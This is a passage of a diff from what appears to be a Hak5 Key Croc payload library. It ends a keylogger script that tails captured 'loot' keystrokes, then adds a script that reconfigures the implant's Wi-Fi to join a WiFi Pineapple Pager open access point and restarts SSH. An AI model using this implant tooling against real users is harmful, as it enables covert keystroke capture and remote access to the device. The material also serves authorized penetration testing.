echo "Invalid choice. Please select a valid option."
|
||||
sleep 1
|
||||
;;
|
||||
esac
|
||||
done
|
||||
sleep 1
|
||||
printf '\033[H\033[2J'
|
||||
|
||||
echo -ne "\n\nLive keystrokes:\n\n"
|
||||
tail -f loot/croc_char.log
|
||||
|
||||
4
payloads/library/general/Pager_WIFI/README.md
Normal file
4
payloads/library/general/Pager_WIFI/README.md
Normal file
@@ -0,0 +1,4 @@
|
||||
# Pager WIFI
|
||||
- Connect keycroc to WiFi Pineapple Pager open AP
|
||||
- MATCH word --> pager_wifi
|
||||
- Will need to run this payload after every reboot
|
||||
40
payloads/library/general/Pager_WIFI/pager_wifi.sh
Normal file
40
payloads/library/general/Pager_WIFI/pager_wifi.sh
Normal file
@@ -0,0 +1,40 @@
|
||||
# Title: Pager WIFI
|
||||
# Description: Connect keycroc to WiFi Pineapple Pager open AP
|
||||
# Author: spywill
|
||||
# Version: 1.0
|
||||
# Category: Key Croc
|
||||
|
||||
MATCH pager_wifi
|
||||
|
||||
PAGER_SSID="pager-open"
|
||||
IFACE=$(iw dev | awk '$1=="Interface"{print $2; exit}')
|
||||
|
||||
iw dev "$IFACE" scan 2>/dev/null | grep -q "SSID: $PAGER_SSID"
|
||||
if [ $? -eq 0 ]; then
|
||||
LED SETUP
|
||||
kill -9 $(pidof wpa_supplicant) && kill -9 $(pidof dhclient)
|
||||
ifconfig wlan0 down
|
||||
|
||||
cat > /etc/wpa_supplicant.conf <<EOF
|
||||
network={
|
||||
ssid="$PAGER_SSID"
|
||||
key_mgmt=NONE
|
||||
}
|
||||
EOF
|
||||
|
||||
ifconfig wlan0 up
|
||||
wpa_supplicant -B -D nl80211 -iwlan0 -c /etc/wpa_supplicant.conf && dhclient wlan0
|
||||
sleep 3
|
||||
systemctl restart ssh.service
|
||||
else
|
||||
LED R
|
||||
exit
|
||||
fi
|
||||
|
||||
if iw dev "$IFACE" link | grep -q "SSID: $PAGER_SSID"; then
|
||||
LED G
|
||||
else
|
||||
LED R
|
||||
fi
|
||||
sleep 5
|
||||
LED OFF
|
||||
Reference in New Issue
Block a user